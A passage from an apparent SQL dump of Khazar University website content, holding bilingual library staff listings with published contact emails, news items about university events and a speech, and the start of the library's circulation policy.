Azərbaycan)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:shuseynova@khazar.org\"><span style=\"font-size:13.5pt;line-height:107%\">shuseynova[at]khazar.org</span></a></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Jamila%20Guliyeva%20eng.pdf\"><img src=\"/files/library/jamila_g.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Cəmilə Quliyeva</a><br></strong></p><p><strong><strong><strong>Komplektləşdirmə bölməsinin müdiri</strong></strong></strong></p><p>Linqvistika üzrə magistr&nbsp;(Azərbaycan Dövlət&nbsp;Pedaqoji&nbsp;Universiteti)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:cquliyeva@khazar.org\">cquliyeva[at]khazar.org</a>  <a href=\"http://mailto:cquliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p>  <hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Samira%20Safarova%20eng.pdf\"><img src=\"/files/library/samira_s.jpg\" style=\"float:left;width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samira Safarova</a></strong></p><p><strong>Kitabxanaçı</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:samirasafarova85@gmail.com\">samirasafarova85[at]gmail.com</a>  <a href=\"http://mailto:samirasafarova85@gmail.com\"></a>  </p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Gunay%20Muradova%20eng.pdf\"><img src=\"/files/library/gunay_m.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Gunay Muradova</a></strong></p><p><strong>Circulation Desk, Downtown&nbsp;kitabxanası</strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gunaymuradova80@gmail.com\">gunaymuradova80[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/gunel%20narimanova%20cv.pdf\"><img src=\"/files/library/gunel_dost.jpg\" style=\"width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Günel Dostuyeva</a></strong></p><p><strong><strong>Kataloqlaşdırma bölməsinin müdir müavini</strong>  <strong></strong></strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gdostuyeva@khazar.org\">gdostuyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/library/esmira_m.JPG\" style=\"float:left;width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://library.khazar.org/files/Esmira%20Mehdiyeva%20eng.pdf\">Esmira Mehdiyeva</a></strong></p><p><strong><strong></strong><strong>Circulation Desk, Downtown&nbsp;<strong>kitabxanası</strong>&nbsp;</strong>   </strong><br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:emehtiyeva@khazar.org\">emehtiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Aynura%20Babayeva%20eng%20cv.pdf\"><img src=\"/files/library/aynura_b.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aynurə Babayeva</a></strong></p><p><strong></strong><strong>Kitabxanaçı</strong>   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ababayeva@khazar.org\">ababayeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/library/gunel_a.jpg\" style=\"width:150px;height:200px;margin-left:7px;margin-right:7px;float:left\"><a href=\"http://www.khazar.org/files/library/Gunel%20Aliyeva%20eng%20cv.pdf\">Günel Əliyeva</a></strong></p><p><strong></strong><strong>Kitabxanaçı</strong>   <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:galiyeva@khazar.org\">galiyeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/library/Lala%20Misrixanova.jpg\" style=\"border:0px  #000000;width:150px;height:205px;margin-left:7px;margin-right:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/library/Lala%20Misrikhanova.pdf\">Lalə Misrixanova</a></strong></p><p><strong>Kitabxanaçı</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lMisirkhanova@khazar.org\">lMisirkhanova[at]khazar.org</a><a href=\"http://mailto:lMisirkhanova@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/library/Gulshen%20Huseynova.jpg\" style=\"margin-left:7px;margin-right:7px;width:150px;height:164px;float:left\"><a href=\"http://www.khazar.org/files/library/Gulshen%20cv%20eng.pdf\"><strong>Gülşən Hüseynova</strong></a></p><p><strong>Kitabxanaçı</strong></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ghuseynova@khazar.org\">ghuseynova[at]khazar.org</a></p> <p> <br></p><p><br></p><p><br></p><p><br></p>'),(5070,2950,'en','Staff','Staff','<p><strong><img src=\"/files/library/tatiana_z.jpg\" style=\"float:left;width:150px;height:116px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/library/Tatiana_Z_CV.pdf\">Tatyana Zayseva</a></strong><br></p><p><strong><strong><strong>Director of Library Information Center</strong></strong><br></strong></p><p>PhD&nbsp;in&nbsp;Mathematical Methods in Economics<br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:tzaytseva@khazar.org\">tzaytseva[at]khazar.org</a></p><p><strong>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Phone:</strong>&nbsp;(+994 12) 421 10 93 (263)  </p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/library/aytac_m.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/library/AYTAJ_MISGARLI_CV.pdf\">Aytaj&nbsp;Misgarli</a></strong></p><p><strong>Deputy Director of Library Information Center</strong></p><p>MS in&nbsp;Librarianship and Bibliography (Baku State University, Azerbaijan)</p><p><strong>E-mail</strong>:&nbsp;<a href=\"mailto:amiskerli@khazar.org\">amiskerli[at]khazar.org</a>  <a href=\"http://mailto:amiskerli@khazar.org\"></a>  </p><p style=\"padding-left:160px\"><strong>&nbsp;Phone</strong>: (+994 12) 421 10 93 (263)  </p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><img src=\"/files/library/samira_o.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:174px\"><a href=\"http://www.khazar.org/files/library/Samira_CV.pdf\">Samira Orujova</a></strong></p><p><strong>Head of Cataloging Department<br></strong></p><p>BS in&nbsp;Librarianship and Bibliography (Baku State University, Azerbaijan)  <br></p><p><strong>E-mail: </strong><a href=\"mailto:shuseynova@khazar.org\">shuseynova[at]khazar.org</a>  <a href=\"http://mailto:shuseynova@khazar.org\"></a></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Jamila%20Guliyeva%20eng.pdf\"><img src=\"/files/library/jamila_g.jpg\" style=\"float:left;width:150px;height:241px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Jamila Guliyeva</a><br></strong></p><p><strong>Head of Acquisition Department</strong></p><p>MS in Linguistics (Azerbaijan State Pedagogical University)  </p><p><strong style=\"font-weight:bold\"><strong>E-mail:&nbsp;</strong></strong><a href=\"mailto:cquliyeva@khazar.org\">cquliyeva[at]khazar.org</a>  <a href=\"http://mailto:cquliyeva@khazar.org\"></a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Samira%20Safarova%20eng.pdf\"><img src=\"/files/library/samira_s.jpg\" style=\"float:left;width:150px;height:168px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Samira Safarova</a></strong></p><p><strong>Librarian</strong><br></p><p>BS in Philology (Khazar University, Azerbaijan)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:samirasafarova85@gmail.com\">samirasafarova85[at]gmail.com</a>  <a href=\"http://mailto:samirasafarova85@gmail.com\"></a>  </p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/Gunay%20Muradova%20eng.pdf\"><img src=\"/files/library/gunay_m.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Gunay Muradova</a></strong></p><p><strong>Circulation Desk, Downtown&nbsp;Library</strong>  <br></p><p>BS in&nbsp;Librarianship and Bibliography&nbsp;(Baku State University, Azerbaijan)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gunaymuradova80@gmail.com\">gunaymuradova80[at]gmail.com</a>  </p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><a href=\"http://library.khazar.org/files/gunel%20narimanova%20cv.pdf\"><img src=\"/files/library/gunel_dost.jpg\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Gunel Dostuyeva</a></strong></p><p><strong>Vice of&nbsp;<strong>Cataloging Department</strong></strong>  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:gdostuyeva@khazar.org\">gdostuyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/library/esmira_m.JPG\" style=\"float:left;width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://library.khazar.org/files/Esmira%20Mehdiyeva%20eng.pdf\">Esmira Mehdiyeva</a></strong></p><p><strong><strong>Circulation Desk, Downtown&nbsp;Library</strong>  </strong><br></p><p>BS in&nbsp;Linguistics (Southern Russian Humanitarian University,&nbsp;Azerbaijan)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:emehtiyeva@khazar.org\">emehtiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><strong><a href=\"http://library.khazar.org/files/Aynura%20Babayeva%20eng%20cv.pdf\"><img src=\"/files/library/aynura_b.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Aynura Babayeva</a></strong></p><p><strong>Librarian</strong>  <br></p><p>BS in&nbsp;Marketing (Azerbaijan State University of Economics Baku, Azerbaijan)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ababayeva@khazar.org\">ababayeva[at]khazar.org</a>  </p><p><br></p><p><br></p><p><br></p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p><strong><img src=\"/files/library/gunel_a.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;width:150px;height:200px\"><a href=\"http://www.khazar.org/files/library/Gunel%20Aliyeva%20eng%20cv.pdf\">Gunel Aliyeva</a></strong></p><p><strong>Librarian</strong>  <br></p><p>MS in Librarianship and Bibliography (Baku State University, Azerbaijan)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:galiyeva@khazar.org\">galiyeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/library/Lala%20Misrixanova.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/library/Lala%20Misrikhanova.pdf\">Lala Misrikhanova</a></strong></p><p>BS in&nbsp;Library&nbsp;information&nbsp;(Baku State University, Azerbaijan)    </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lMisirkhanova@khazar.org\">lMisirkhanova[at]khazar.org</a><a href=\"http://mailto:lMisirkhanova@khazar.org\"></a></p><div><br></div><p><br></p><p><br></p><p><br></p><br><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><br><p><img src=\"/files/library/Gulshen%20Huseynova.jpg\" style=\"border:0px  #000000;width:150px;height:164px;margin-left:7px;margin-right:7px;float:left\"><a href=\"http://www.khazar.org/files/library/Gulshen%20cv%20eng.pdf\"><strong>Gulshen Huseynova</strong></a></p><p>BS in&nbsp;Library and&nbsp;information&nbsp;(Baku State University, Azerbaijan)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ghuseynova@khazar.org\">ghuseynova[at]khazar.org</a></p> <p> <br></p><p><br></p><p><br></p><p><br></p>'),(5976,3414,'en','Fulbright scholars at the LIC','On September 12, 2018, two Fulbright scholars from Eastern Kentucky University (USA) - Mrs. Pr. Qaisar...','<p>On September 12, 2018, two Fulbright scholars from Eastern Kentucky University (USA) - Mrs. Pr. Qaisar Sultana and Mr. Ron Smith - visited Khazar University Library Information Center. Guests got familiar with the library collection on education, reference books and new publications of Khazar University.</p><p>Then, together with the library team, a discussion took place related to education and library topics, issues and challenges.</p>'),(5071,2951,'az','İvane Cavaxişvili adına Tbilisi Dövlət Universitetinin 100 illik yubileyinə həsr edilmiş mərasimdə Professor Hamlet İsaxanlının çıxışı','İvane Cavaxişvili adına Tbilisi Dövlət Universitetinin 100 illik yubileyinə...','<p>Xanımlar və Bəylər,</p><p>Hörmətli Rektor,</p><p>Cənab Nazir,</p><p>Əziz həmkarlar və dostlar!</p><p>İvane Cavaxişvili adına Tbilisi Dövlət Universitetinin 100 illik yubileyində iştirak etmək çox xoşdur və bu mərasimdə çıxış etmək mənim üçün böyük şərəfdir.</p><p>Mənim üçün bu an dünya üç əsas hissədən ibarətdir. Birinci, Gürcüstan Respublikası mənim vətənimdir. Mən Gürcüstanda doğulmuş azərbaycanlılardan biriyəm. Burada doğulmuşam, uşaqlığım burada keçib, orta məktəbi burada bitirmişəm. Anam və qardaşım burada yaşayır. Bura tez-tez gəlirəm – evimizə, gürcü dostlarımla görüşə; bir sıra beynəlxalq layihələri, həmçinin Gürcüstanla bağlı layihələri həyata keçirmək üçün buranı ziyarət edirəm. Hər zaman Gürcüstana böyük məmnuniyyətlə səfər edirəm.</p><p>Mənim dünyamın ikinci hissəsi Azərbaycan Respublikasıdır. Azərbaycanda yaşayıram, işləyirəm. Elmi və bədii yaradıcılıqla məşğul oluram. 27 il əvvəl Azərbaycanın ilk özəl universitetini – Xəzər Universitetini qurdum. Keçən il Xəzər Universiteti dünyanın 150 ən yaxşı gənc (yaşı 50-ni keçməyən) universiteti sırasına daxil oldu (QS University Ranking).</p><p>Xəzər Universiteti, Gürcüstan universitetləri ilə sıx əlaqədədir, bir sıra beynəlxalq layihələrdə onlarla birlikdə çalışır və əməkdaşlıq edir.</p><p>Dünyamın 3-cü hissəsi – Gürcüstan və Azərbaycandan kənarda olan böyük dünyadır, hər zaman səyahət etdiyimiz, iş birliyində olduğumuz böyük dünya! Burada, dünyanın müxtəlif bölgələrindən gəlmiş həmkarlarımı salamlayır, xoş gəldiniz deyir və uğurlar arzulayıram.</p><p>Hər xalq kimi gürcü xalqı da Şota Rustaveli kimi öz böyük ədəbiyyat və sənət adamları ilə, İvane Cavaxişvili, Nikoloz Musxeleşvili kimi elm adamları ilə fəxr edir. Və nəhayət, öz qabaqcıl institutları, xüsusilə, yeni biliklər istehsal etmək gücünə malik İvane Cavaxişvili adına Tbilisi Dövlət Universiteti kimi institutları ilə fəxr edir!</p><p>Ad günün mübarək, İvane Cavaxişvili Tbilisi Dövlət Universiteti!</p><p>Xəzər Universiteti adından, Azərbaycanın elm və sənət adamları adından Sizi – əziz dostlar, əziz İvane Cavaxişvili Tbilisi Dövlət Universiteti, əziz Gürcüstan – təbrik edirəm!</p>\r\n<p><br></p><p><strong>Hamlet İsaxanlı</strong></p><p style=\"font-size:medium\">Təsisçi</p><p style=\"font-size:medium\">Direktorlar və Qəyyumlar Şurasının sədri</p><p style=\"font-size:medium\">Xəzər Universiteti</p>'),(5072,2951,'en','Speech of Prof. Hamlet Isakhanli at the Ceremony Dedicated to the 100th Anniversary of Ivane Javakhishvili Tbilisi State University','Speech of Prof. Hamlet Isakhanli at the Ceremony Dedicated to the 100th Anniversary...','<p>Ladies and Gentlemen,</p><p>Esteemed Rector,</p><p>Mr. Minister of Education,</p><p>Dear colleagues and friends!</p><p>It’s my pleasure to participate at the Ivane Javakhishvili Tbilisi State University’s 100th Anniversary and a great honour to deliver a speech at this Celebration.</p><p>At the moment, for me the world has been divided into three main parts. First, Georgian Republic – my homeland, I am one of the ethnic Azerbaijanis born in Georgia. Here, I was born, spent my childhood and finished secondary school. My mother and brother live here. I often visit this place, our home, come to see my Georgian friends, to implement international projects, as well as projects related to Georgia. I always visit Georgia with great pleasure.</p><p>The second part of my world is the Republic of Azerbaijan. I live and work in Azerbaijan. There, I am dedicated to scientific and literature oeuvre. 27 years ago, I established the first private University of Azerbaijan – Khazar University. Last year, Khazar University entered into the list of top 150 best world young universities (QS University Ranking of Young Universities under 50).</p><p>Khazar University is in close contact with Georgian universities, works and cooperates with them in a number of international projects.</p><p>Finally, he third part of my world is the great world outside of Georgia and Azerbaijan, where we always travel and work together! Here, I greet my colleagues from different regions of the world, welcome and wish success to them.</p><p>Like every nation, the Georgian people are proud of their prominent men of art and literature, such as Shota Rustaveli, scientists like Ivane Javakhishvili and Nikoloz Muskhaleshvili. At last, they are proud of their advanced institutions, particularly, of the institutions capable to produce new knowledge, such as Ivane Javakhishvili Tbilisi State University!</p><p>Happy Birthday, Ivane Javakhishvili Tbilisi State University!</p><p>Dear friends, dear Ivane Javakhishvili Tbilisi State University, dear Georgia! On behalf of Khazar University, Azerbaijani intellectuals and people of arts, I congratulate You!</p>\r\n<p><br></p><p><strong>Hamlet Isakhanli</strong></p><p style=\"font-size:medium\">Founder</p><p style=\"font-size:medium\">Chairman of Board of Directors and Trustees</p><p style=\"font-size:medium\">Khazar University</p>'),(5073,2952,'en','A scientific-practical seminar on “Impact of toxic pollutants on the environment”','A scientific-practical seminar on “Impact of toxic pollutants on the environment” was held...','<p>A scientific-practical seminar on “Impact of toxic pollutants on the environment” was held on February 13, 2018, on the initiative of the Department of Geography and the Environment of Khazar University.</p><p>University administration and staff of the department; students of Khazar University and Baku State University; Pyotr Sharov, a representative of Blacksmith Institute, the USA; Eduardo Limbert, a monitoring expert of European Union; Khoshgadam Alasgarova, an expert on pesticide at the Ministry of Agriculture; Ogtay Jafarov, Adil Zeynalov and Zaki Hasanov - representatives of the Ministry of Ecology and Natural Resources; Seadet Abbaszadeh, a representative of the Ministry of Health; Suleyman Azizov, Farhad Davudov, Abulfas Allahverdiyev, Nazim Mammadov, Eldar Zeynalov and Nizami Ismayilov - representatives of the Centre for Ecology of SOCAR; Sevda Zeynalova, Head instructor of Baku Higher Oil School; Jahangir Mammadzade, an expert on NGO of “Tamiz Shahar” OJSC; Elvin Aliyev, a geomatics expert of Caspian Geomatics company; Sadig Seyidzade, an ecology expert of Caspian Geomatics; Javidan Aliyev, a lecturer of Lankaran State University; Rovshan Karimov, a leading researcher, researchers - Anar Abutalibov, Elvin Amrahov, Nijat Imamverdiyev and Emil Jabrayilov, representatives of the Institute of Soil Science and Geography of ANAS, and Robert Jecklin, a Fulbright fellow, participated in the seminar.</p><p>Irada Khalilova, vice-rector for research of Khazar University, Rovshan Abbasov, Head of the Department of Geography and the Environment, Pyotr Sharov, Eduardo Limbert, Khoshgadam Alasgarova, Ogtay Jafarov, Adil Zeynalov, Zaki Hasanzade and Robert Jecklin delivered speeches talking about various aspects of the topic.</p><p>At the end of the event, Rovshan Abbasov gave an interview to “Space” TV that made a TV reportage on the seminar.</p>'),(5074,2952,'az','“Toksik çirkləndiricilərin ətraf mühitə təsiri” mövzusunda elmi-praktiki seminar','2018-ci il fevralın 13-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşəbbüsü ilə...','<p>2018-ci il fevralın 13-də Xəzər Universiteti Coğrafiya və ətraf mühit departamentinin təşəbbüsü ilə universitetdə “Toksik çirkləndiricilərin ətraf mühitə təsiri” mövzusunda elmi-praktiki seminar keçirildi.</p><p>Seminarda universitetin rəhbərliyi və departamentin əməkdaşları, “Xəzər”in və BDU-nun tələbələri, ABŞ-ın Blaksmit İnstitutunun nümayəndəsi Pyotr Şarov, Avropa İttifaqının monitorinq eksperti Eduardo Limbert, Kənd Təsərrüfatı Nazirliyindən pestisidlər üzrə ekspert Xoşqədəm Ələsgərova; Ekologiya və Təbii Sərvətlər Nazirliyindən Oqtay Cəfərov, Adil Zeynalov və baş mütəxəssis Zəki Həsənzadə; Səhiyyə Nazirliyindən həkim Səadət Abbaszadə; SOCAR-ın Ekologiya Mərkəzindən Süleyman Əzizov, Fərhad Davudov, Əbülfəs Allahverdiyev, Nazim Məmmədov, Eldar Zeynalov və Nizami İsmayılov; Bakı Ali Neft Məktəbinin baş müəllimi Sevda Zərgərova; Təmiz Şəhər ASC-dən QHT üzrə mühəndis Cahangir Məmmədzadə; Caspian Geomatiks şirkətindən geomatika mühəndisi Elvin Alıyev və ekologiya mühəndisi Sadıq Seyidzadə; Lənkəran Dövlət Universitetinin müəllimi Cavidan Əliyev; AMEA-nın Torpaqşünaslıq və Coğrafiya İnstitunun nümayəndələri - aparıcı elmi işçi Rövşən Kərimov, elmi işçilər Anar Abutalıbov, Elvin Əmrahov, Nicat İmamverdiyev və Emil Cəbrayılov; Fulbrayt təqaüdçüsü Robert Jeklin iştirak edirdilər.</p><p>Xəzər Universitetinin Elmi işlər üzrə prorektoru İradə Xəlilova, Coğrafiya və ətraf mühit departamentinin müdiri Rövşən Abbasov, Pyotr Şarov, Eduardo Limbert, Xoşqədəm Ələsgərova, Oqtay Cəfərov, Adil Zeynalov Zəki Həsənzadə, Robert Jeklin çıxış edərək, mövzunun müxtəlif cəhətlərindən bəhs etdilər və seminar müzakirələrlə işini davam etdirdi.</p><p>Sonda Rövşən Abbasov seminarın işini lentə alan “Space” televiziyasına müsahibə verdi.</p>'),(5985,3419,'az','Murad Kajlayev ilə yaradıcı görüş təşkil olunacaq','2018-ci il sentyabrın 24-ü saat 16.00-da Xəzər Universitetinin Fikrət Əmirov adına konfrans-konsert...','<p>2018-ci il sentyabrın 24-ü saat 16.00-da Xəzər Universitetinin Fikrət Əmirov adına konfrans-konsert salonunda SSRİ Xalq artisti, görkəmli bəstəkar Murad Kajlayev ilə yaradıcı görüş təşkil olunacaq.</p><p>Bu haqda daha ətraflı bu link vasitəsilə məlumat almaq olar:&nbsp;</p><p><a href=\"https://news.day.az/azerinews/1041773.html\">https://news.day.az/azerinews/1041773.html</a>.</p>'),(5986,3419,'en','Creative meeting with Murad Kajlayev to be held','A creative meeting with Murad Kajlayev, People’s Artist of the USSR and a prominent composer...','<p>A creative meeting with Murad Kajlayev, People’s Artist of the USSR and a prominent composer, will be held at Conference-Concert Hall named after Fikrat Amirov of Khazar University at 16.00, on September 24, 2018.</p><p>Further information is available through the following link:</p><p><a href=\"https://news.day.az/azerinews/1041773.html\">https://news.day.az/azerinews/1041773.html</a>.<br></p>'),(5987,3420,'az','Xəzər Universitetinin məzununun məqaləsi yayınlandı','2018-ci il sentyabrın 12-də “Avrasiya” İnformasiya Agentliyinin rəsmi internet səhifəsində...','<p>2018-ci il sentyabrın 12-də “Avrasiya” İnformasiya Agentliyinin rəsmi internet səhifəsində Xəzər Universitetinin məzunu, Tbilisi Azərbaycan Dövlət Neft Şirkətinin Gürcüstan nümayəndəliyinin əməkdaşı iqtisadiyyat üzrə fəlsəfə doktoru Aygül İsayevanın “Gürcüstanda yaşayan soydaşlarımızın ana dili və kadr problemi” adlı məqaləsi yayınlanmışdır.</p><p>Məqaləni tam şəkildə bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://avrasiya.net/region/29414-grcstanda-yaayan-soydalarmzn-ana-dl-v-kadr-problem.html\">http://avrasiya.net/region/29414-grcstanda-yaayan-soydalarmzn-ana-dl-v-kadr-problem.html</a>.<br></p>'),(5989,3421,'az','Xəzər Universitetində yeni dərs ili başladı','2018-ci il sentyabrın 15-də Xəzər Universitetində yeni dərs ilinin başlanmasına həsr olunmuş mərasim keçirildi...','<p>2018-ci il sentyabrın 15-də Xəzər Universitetində yeni dərs ilinin başlanmasına həsr olunmuş mərasim keçirildi. Tədbirdə universitetin rəhbərliyi və əməkdaşları, universitetə yeni qəbul olunmuş tələbələr və onların valideynləri, qonaqlar iştirak edirdilər.</p><p>Mərasim Azərbaycanın Dövlət Himninin ifası ilə başladı. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı çıxış edərək, universitetə qəbul olunmuş gəncləri təbrik etdi, universitetin təhsil mühiti və beynəlxalq əlaqələrindən, tələbələrin hərtərəfli inkişafı üçün görülən işlərdən danışdı. Universitetin rektoru Dr. Hassan Niknafs da tələbələri təbrik etdi, onlara təhsillərində uğurlar arzuladı.</p><p>H.İsaxanlı, H.Niknafs, İqtisadiyyat və menecment fakültəsinin dekanı Ceyhun Məmmədov, Humanitar və sosial elmlər fakültəsinin dekanı Cabir Xəlilov və Təhsil fakültəsinin dekanı Elza Səmədova universitetə yüksək balla qəbul olunmuş bir qrup tələbəyə tələbə bileti və hədiyyələr təqdim etdilər, onlarla xatirə şəkli çəkildi.</p><p>Universitetə yeni qəbul olunmuş tələbələr adından orta məktəbi qızıl medalla bitirmiş, 690 bal toplamış Tamerlan Abdullayev (Mühəndislik və Tətbiqi Elmlər fakültəsi, kompüter mühəndisliyi ixtisası) çıxış edərək, qardaşı Tuqayla birlikdə (690 bal, Mühəndislik və Tətbiqi Elmlər fakültəsi, kompüter elmləri ixtisası) Xəzər Universitetini ən yüksək səviyyəli təhsil verən ali məktəb kimi tanıdıqlarına görə seçdiklərini söylədi, tələbələrə uğurlar arzuladı.</p><p>Universitetin Musiqi və İncəsənət departamentinin hazırladığı, M.F.Axundov adına Dövlət Akademik Opera və Balet Teatrının solisti, Xəzər Universitetinin müəllimi Məhsəti Cabbarlı və müğənni tələbələrin iştirakı ilə keçən konsertdən sonra universitetin İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı tələbələri auditoriyalara dəvət etdi. Fakültə dekanları, departament müdirləri və əməkdaşlar tələbələrə universitet və ixtisaslar haqqında geniş məlumat verdilər, onların suallarını cavablandırdılar.</p><p>Xəzər Universitetində daha bir yeni dərs ili başladı.</p>'),(5988,3420,'en','Article by a Khazar University graduate published','On September 12, 2018, an article entitled “Native language and personnel problem of our compatriots...','<p>On September 12, 2018, an article entitled “Native language and personnel problem of our compatriots living in Georgia” by Aygul Isayeva, PhD in Economics, a Khazar University graduate and associate of the Georgian Representative Office of the State Oil Company in Tbilisi, was released on an official website of “Avrasiya” Information Agency.</p><p>Full article is available through the following link:  <br></p><p><a href=\"http://avrasiya.net/region/29414-grcstanda-yaayan-soydalarmzn-ana-dl-v-kadr-problem.html\">http://avrasiya.net/region/29414-grcstanda-yaayan-soydalarmzn-ana-dl-v-kadr-problem.html</a>.<br></p>'),(5075,2953,'en','Circulation Policy','','<h2 style=\"text-align:justify\">Access&nbsp;</h2><p style=\"text-align:justify\">There are a number of mechanisms for access provided for those who would like to use materials from the Library and Information Center, which are outlined below. There are also policies to these facilities.</p><p style=\"text-align:justify\">The library collections are available to all individuals for use on Readings Rooms and for borrowing from Circulation Desk.</p><p style=\"text-align:justify\">Khazar University faculty, staff, and students are eligible to borrow materials from University Library collections.</p><p style=\"text-align:justify\">Visitings may also be eligible for borrowing privileges through Readings Rooms.</p><h2 style=\"text-align:justify\">Rules of Membership</h2><p style=\"text-align:justify\">Khazar University students, Full-time and Part-time Staff are automatically eligible for full membership in the LIC. To start using the reading rooms, collections, and services they must first register at the Circulation Desk.</p><h2 style=\"text-align:justify\">REQUIRING MATERIALS:</h2><p style=\"text-align:justify\"></p><ul><li>Passport or personal ID</li><li>Student ID</li><li>1 copy of image</li></ul><p></p><p style=\"text-align:justify\">The Internal membership expires at the end of the academic year.</p><p style=\"text-align:justify\">Every new academic year LIC conducts membership renewal. Registration is free of charge.</p><p style=\"text-align:justify\">External users are welcome to become members of the LIC. Their membership expires at the end of academic year and has to be renewed.</p><h2 style=\"text-align:justify\">Loan Periods</h2><p style=\"text-align:justify\">Loan periods and number of items to be borrowed differ for Faculty Members, Students and Staff.&nbsp;</p><p style=\"text-align:justify\">Single-copy fiction-title can be borrowed at the discretion of the LIC senior staff members, but for a period of 7 days only. A user can borrow not more 3-fiction titles at once.</p><h2 style=\"text-align:justify\">Faculty members&nbsp;</h2><p style=\"text-align:justify\">Faculty members may loan up to 15 items total for the following loan period: One academic semester: Course textbooks and manuals</p><p style=\"text-align:justify\">30 days: other resources (excluding non-circulated) for followed by a renewal except the cases the title is reserved by another user.</p><p style=\"text-align:justify\">Part –time faculty members have to bring recommendation letter from appropriate department to the circulation desk</p><h2 style=\"text-align:justify\">Students&nbsp;</h2><p style=\"text-align:justify\">Students may loan to</p><p style=\"text-align:justify\"></p><ul><li>7 